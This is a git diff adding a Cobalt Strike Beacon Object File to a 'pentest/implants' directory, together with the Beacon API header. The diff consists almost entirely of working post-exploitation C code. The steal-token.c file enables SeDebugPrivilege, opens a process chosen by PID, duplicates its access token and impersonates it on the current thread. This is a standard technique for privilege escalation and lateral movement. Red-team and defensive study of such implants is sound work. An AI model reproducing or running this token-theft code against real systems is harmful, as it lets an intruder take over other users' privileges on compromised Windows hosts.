diff --git a/pentest/implants/bof/.gitignore b/pentest/implants/bof/.gitignore
@@ -0,0 +1 @@
+*.o
diff --git a/pentest/implants/bof/beacon.h b/pentest/implants/bof/beacon.h
@@ -0,0 +1,65 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Cobalt Strike 4.1.
+ */
+
+/* data API */
+#pragma once
+
+#ifdef BOF
+typedef struct {
+ char * original; /* the original buffer [so we can free it] */
+ char * buffer; /* current pointer into our buffer */
+ int length; /* remaining length of data */
+ int size; /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+ char * original; /* the original buffer [so we can free it] */
+ char * buffer; /* current pointer into our buffer */
+ int length; /* remaining length of data */
+ int size; /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT 0x0
+#define CALLBACK_OUTPUT_OEM 0x1e
+#define CALLBACK_ERROR 0x0d
+#define CALLBACK_OUTPUT_UTF8 0x20
+
+DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
+DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void BeaconRevertToken();
+DECLSPEC_IMPORT BOOL BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
+#endif
diff --git a/pentest/implants/bof/steal-token.c b/pentest/implants/bof/steal-token.c
@@ -0,0 +1,124 @@
+
+#include <windows.h>
+#include <stdio.h>
+#include "beacon.h"
+
+
+DECLSPEC_IMPORT WINADVAPI BOOL WINAPI LookupPrivilegeValueW(
+ LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid
+);
+
+DECLSPEC_IMPORT WINADVAPI BOOL WINAPI AdjustTokenPrivileges(
+ HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD
+);
+
+DECLSPEC_IMPORT WINADVAPI BOOL WINAPI PrivilegeCheck(
+ HANDLE, PPRIVILEGE_SET, LPBOOL
+);
+
+DECLSPEC_IMPORT WINADVAPI BOOL WINAPI OpenProcessToken(
+ HANDLE, DWORD, PHANDLE
+);
+
+DECLSPEC_IMPORT WINADVAPI BOOL WINAPI DuplicateTokenEx(
+ HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE
+);
+
+DECLSPEC_IMPORT WINADVAPI BOOL WINAPI SetThreadToken(
+ PHANDLE, HANDLE
+);
+
+DECLSPEC_IMPORT BOOL WINAPI GetUserNameA(
+ LPSTR lpBuffer, LPDWORD pcbBuffer
+);
+
+void go(char * args, int alen) {
+ datap parser;
+ DWORD pid = 0;
+ BeaconDataParse(&parser, args, alen);
+ pid = BeaconDataInt(&parser);
+
+ HANDLE hProc = NULL, hToken = NULL, hNewToken = NULL;
+ LUID luid;
+ char username[256] = {0};
+ DWORD username_len = sizeof(username);
+
+ // Get SeDebugPrivilege
+ if (!LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) {
+ BeaconPrintf(CALLBACK_ERROR, "LookupPrivilegeValue failed: %u", GetLastError());
+ return;
+ }
+
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
+ BeaconPrintf(CALLBACK_ERROR, "OpenProcessToken failed: %u", GetLastError());
+ return;
+ }
+
+ TOKEN_PRIVILEGES tp = {0};
+ tp.PrivilegeCount = 1;
+ tp.Privileges[0].Luid = luid;
+ tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ if (!AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL)) {
+ BeaconPrintf(CALLBACK_ERROR, "AdjustTokenPrivileges failed: %u", GetLastError());
+ return;
+ }
+
+ PRIVILEGE_SET privSet = {0};
+ privSet.PrivilegeCount = 1;
+ privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
+ privSet.Privilege[0].Luid = luid;
+ privSet.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
+ BOOL privEnabled = 0;
+ if (!PrivilegeCheck(hToken, &privSet, &privEnabled)) {
+ BeaconPrintf(CALLBACK_ERROR, "PrivilegeCheck failed: %u", GetLastError());
+ return;
+ }
+ BeaconPrintf(CALLBACK_OUTPUT, "SeDebugPrivilege is: %s", privEnabled ? "ENABLED" : "DISABLED");
+
+ username_len = sizeof(username);
+ if (!GetUserNameA(username, &username_len)) {
+ BeaconPrintf(CALLBACK_ERROR, "GetUserNameA failed: %u", GetLastError());
+ return;
+ }
+ BeaconPrintf(CALLBACK_OUTPUT, "Current Username: %s", username);
+
+ // Open target process
+ hProc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
+ if (!hProc) {
+ BeaconPrintf(CALLBACK_ERROR, "OpenProcess failed: %u", GetLastError());
+ return;
+ }
+
+ if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_IMPERSONATE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hToken)) {
+ BeaconPrintf(CALLBACK_ERROR, "OpenProcessToken(target) failed: %u", GetLastError());
+ CloseHandle(hProc);
+ return;
+ }
+
+ if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hNewToken)) {
+ BeaconPrintf(CALLBACK_ERROR, "DuplicateTokenEx failed: %u", GetLastError());
+ CloseHandle(hProc);
+ CloseHandle(hToken);
+ return;
+ }
+
+ if (!SetThreadToken(NULL, hNewToken)) {
+ BeaconPrintf(CALLBACK_ERROR, "SetThreadToken failed: %u", GetLastError());
+ CloseHandle(hProc);
+ CloseHandle(hToken);
+ CloseHandle(hNewToken);
+ return;
+ }
+
+ username_len = sizeof(username);
+ if (!GetUserNameA(username, &username_len)) {
+ BeaconPrintf(CALLBACK_ERROR, "GetUserNameA(after) failed: %u", GetLastError());
+ // Still continue to cleanup
+ }
+ BeaconPrintf(CALLBACK_OUTPUT, "Username after impersonation: %s", username);
+
+ // Cleanup
+ if (hProc) CloseHandle(hProc);
+ if (hToken) CloseHandle(hToken);
+ if (hNewToken) CloseHandle(hNewToken);
+}
| | |